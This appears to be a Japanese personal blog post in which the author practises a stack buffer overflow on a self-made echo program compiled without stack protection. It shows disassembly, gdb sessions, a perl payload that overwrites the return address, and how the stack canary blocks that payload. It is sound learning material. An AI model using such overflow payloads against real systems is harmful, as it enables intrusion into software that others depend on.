プロローグ Link to heading

仕事で時折お世話になっているセキュリティエンジニアに紹介された本を読んでいる。理解の確認に少し付き合ってくれないかとお願いしたら、代わりにとstack buffer overflow演習用のバイナリをくれた。これより簡単な脆弱性はないからまずこれを、と。

バイナリは一応貰い物なので、似たようなものを自作自演する。

本題 Link to heading

言ったことを繰り返してくれるだけの、yamabikoというプログラムを用意する。

$ ./yamabiko
usage: yamabiko whatever_you_want_to_spill_out
$ ./yamabiko AAAA
yamabiko: AAAA
$

自作自演ながら一応長いインプットで何かが起きそうなことを確認。

$ ./yamabiko $(perl -e 'print "A"x60;')
yamabiko: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�����
Segmentation fault (core dumped)
$

まずバイナリを少し見つめてみる。関係ありそうな関数を見つけた。

$ objdump -M intel -D yamabiko | grep -A70 func1.:
080484cb <func1>:
 80484cb:   55                      push   ebp
 80484cc:   89 e5                   mov    ebp,esp
 80484ce:   83 ec 28                sub    esp,0x28
 80484d1:   83 ec 04                sub    esp,0x4
 80484d4:   6a 20                   push   0x20
 80484d6:   6a 00                   push   0x0
 80484d8:   8d 45 d8                lea    eax,[ebp-0x28]
 80484db:   50                      push   eax
 80484dc:   e8 cf fe ff ff          call   80483b0 <memset@plt>
 80484e1:   83 c4 10                add    esp,0x10
 80484e4:   8b 45 0c                mov    eax,DWORD PTR [ebp+0xc]
 80484e7:   83 ec 04                sub    esp,0x4
 80484ea:   50                      push   eax
 80484eb:   ff 75 08                push   DWORD PTR [ebp+0x8]
 80484ee:   8d 45 d8                lea    eax,[ebp-0x28]
 80484f1:   50                      push   eax
 80484f2:   e8 79 fe ff ff          call   8048370 <memcpy@plt>
 80484f7:   83 c4 10                add    esp,0x10
 80484fa:   83 ec 08                sub    esp,0x8
 80484fd:   8d 45 d8                lea    eax,[ebp-0x28]
 8048500:   50                      push   eax
 8048501:   68 00 86 04 08          push   0x8048600
 8048506:   e8 55 fe ff ff          call   8048360 <printf@plt>
 804850b:   83 c4 10                add    esp,0x10
 804850e:   b8 01 00 00 00          mov    eax,0x1
 8048513:   c9                      leave
 8048514:   c3                      ret

08048515 <main>:
 8048515:   8d 4c 24 04             lea    ecx,[esp+0x4]
 8048519:   83 e4 f0                and    esp,0xfffffff0
 804851c:   ff 71 fc                push   DWORD PTR [ecx-0x4]
 804851f:   55                      push   ebp
 8048520:   89 e5                   mov    ebp,esp
 8048522:   53                      push   ebx
 8048523:   51                      push   ecx
 8048524:   89 cb                   mov    ebx,ecx
 8048526:   83 3b 02                cmp    DWORD PTR [ebx],0x2
 8048529:   74 17                   je     8048542 <main+0x2d>
 804852b:   83 ec 0c                sub    esp,0xc
 804852e:   68 10 86 04 08          push   0x8048610
 8048533:   e8 48 fe ff ff          call   8048380 <puts@plt>
 8048538:   83 c4 10                add    esp,0x10
 804853b:   b8 ff ff ff ff          mov    eax,0xffffffff
 8048540:   eb 2b                   jmp    804856d <main+0x58>
 8048542:   8b 43 04                mov    eax,DWORD PTR [ebx+0x4]
 8048545:   83 c0 04                add    eax,0x4
 8048548:   8b 00                   mov    eax,DWORD PTR [eax]
 804854a:   83 ec 0c                sub    esp,0xc
 804854d:   50                      push   eax
 804854e:   e8 3d fe ff ff          call   8048390 <strlen@plt>
 8048553:   83 c4 10                add    esp,0x10
 8048556:   89 c2                   mov    edx,eax
 8048558:   8b 43 04                mov    eax,DWORD PTR [ebx+0x4]
 804855b:   83 c0 04                add    eax,0x4
 804855e:   8b 00                   mov    eax,DWORD PTR [eax]
 8048560:   83 ec 08                sub    esp,0x8
 8048563:   52                      push   edx
 8048564:   50                      push   eax
 8048565:   e8 61 ff ff ff          call   80484cb <func1>
 804856a:   83 c4 10                add    esp,0x10
 804856d:   8d 65 f8                lea    esp,[ebp-0x8]
 8048570:   59                      pop    ecx
 8048571:   5b                      pop    ebx
 8048572:   5d                      pop    ebp
 8048573:   8d 61 fc                lea    esp,[ecx-0x4]
 8048576:   c3                      ret
 8048577:   66 90                   xchg   ax,ax
 8048579:   66 90                   xchg   ax,ax
 804857b:   66 90                   xchg   ax,ax

コツコツ読んで以下のようなことを思う。

  • main0x804852bから、引数の数が合わない時の"usage"を出力していると思う。
  • func10x8048506 で"yamabiko: “の出力をしていると思う。
  • func1が終わったとき用のreturn addressとして、main関数の0x804856aがスタックに置いてあるだろう。

gdbでデバッグして確認してみる。

やはりそうだ。トップの二つがprintfの引数であり、特に引数の文字列が0xbffff5e0に入っていることも確認できる。ではreturn addressを書き換えてみよう。

(gdb) p 0xbffff60c - 0xbffff5e0
$1 = 44
(gdb)

44バイトの後に何かアドレスを入れれば何かが起きそうだ。先に見つけた0x804852b(“usage"の出力)を使ってみよう。

うまいこと書き換わってくれたようだ。恐る恐る関数を抜けるまでinstructionを進めてみる。

(gdb) nexti 5
yamabiko: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA+ȡ�0
0x0804852b in main ()
(gdb) disass
Dump of assembler code for function main:
   0x08048515 <+0>:     lea    ecx,[esp+0x4]
   0x08048519 <+4>:     and    esp,0xfffffff0
   0x0804851c <+7>:     push   DWORD PTR [ecx-0x4]
   0x0804851f <+10>:    push   ebp
   0x08048520 <+11>:    mov    ebp,esp
   0x08048522 <+13>:    push   ebx
   0x08048523 <+14>:    push   ecx
   0x08048524 <+15>:    mov    ebx,ecx
   0x08048526 <+17>:    cmp    DWORD PTR [ebx],0x2
   0x08048529 <+20>:    je     0x8048542 <main+45>
=> 0x0804852b <+22>:    sub    esp,0xc
   0x0804852e <+25>:    push   0x8048610
   0x08048533 <+30>:    call   0x8048380 <puts@plt>
   0x08048538 <+35>:    add    esp,0x10
   0x0804853b <+38>:    mov    eax,0xffffffff
   0x08048540 <+43>:    jmp    0x804856d <main+88>
   0x08048542 <+45>:    mov    eax,DWORD PTR [ebx+0x4]
   0x08048545 <+48>:    add    eax,0x4
   0x08048548 <+51>:    mov    eax,DWORD PTR [eax]
   0x0804854a <+53>:    sub    esp,0xc
   0x0804854d <+56>:    push   eax
   0x0804854e <+57>:    call   0x8048390 <strlen@plt>
   0x08048553 <+62>:    add    esp,0x10
   0x08048556 <+65>:    mov    edx,eax
   0x08048558 <+67>:    mov    eax,DWORD PTR [ebx+0x4]
   0x0804855b <+70>:    add    eax,0x4
   0x0804855e <+73>:    mov    eax,DWORD PTR [eax]
   0x08048560 <+75>:    sub    esp,0x8
   0x08048563 <+78>:    push   edx
   0x08048564 <+79>:    push   eax
   0x08048565 <+80>:    call   0x80484cb <func1>
   0x0804856a <+85>:    add    esp,0x10
   0x0804856d <+88>:    lea    esp,[ebp-0x8]
   0x08048570 <+91>:    pop    ecx
   0x08048571 <+92>:    pop    ebx
   0x08048572 <+93>:    pop    ebp
   0x08048573 <+94>:    lea    esp,[ecx-0x4]
   0x08048576 <+97>:    ret
End of assembler dump.
(gdb)

うまいこと飛んでくれたようだ。残りを実行してみる。

(gdb) c
Continuing.
usage: my_echo whatever_you_want_to_spill_out

Program received signal SIGSEGV, Segmentation fault.
0x08048570 in main ()
(gdb)

確かに"usage"が出た。一応gdbの外でも実行してみる。

$ ./yamabiko $(perl -e 'print "A"x44 . "\x2b\x85\x04\x08";')
yamabiko: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA+ȡ�0
usage: my_echo whatever_you_want_to_spill_out
Segmentation fault (core dumped)
$

おお、できた。

エピローグ Link to heading

バイナリをくれたセキュリティエンジニアはexploitが成功するように-fno-stack-protectorオプションをつけてコンパイルしたと言っていた。上の自作自演バイナリも同じように作ってある。

$ gcc -fno-stack-protector -o yamabiko my_echo.c
$ ./yamabiko $(perl -e 'print "A"x44 . "\x2b\x85\x04\x08";')
yamabiko: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA+ȡ�0
usage: yamabiko whatever_you_want_to_spill_out
Segmentation fault (core dumped)
$

試してみると、どうやら確かにそのオプションがないと上のexploitは成功しない。

$ gcc -o yamabiko my_echo.c
$ ./yamabiko $(perl -e 'print "A"x44 . "\x2b\x85\x04\x08";')
yamabiko: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA+8��0
*** stack smashing detected ***: ./yamabiko terminated
Aborted (core dumped)
$

なんとどうやらfunc1の中身が違う。

__stack_chk_failというのが仕事していそうだ。これ…なのかな:__stack_chk_fail

どのような仕組みで機能しているのだろう。本の続きにこんな話も出てくるのを期待。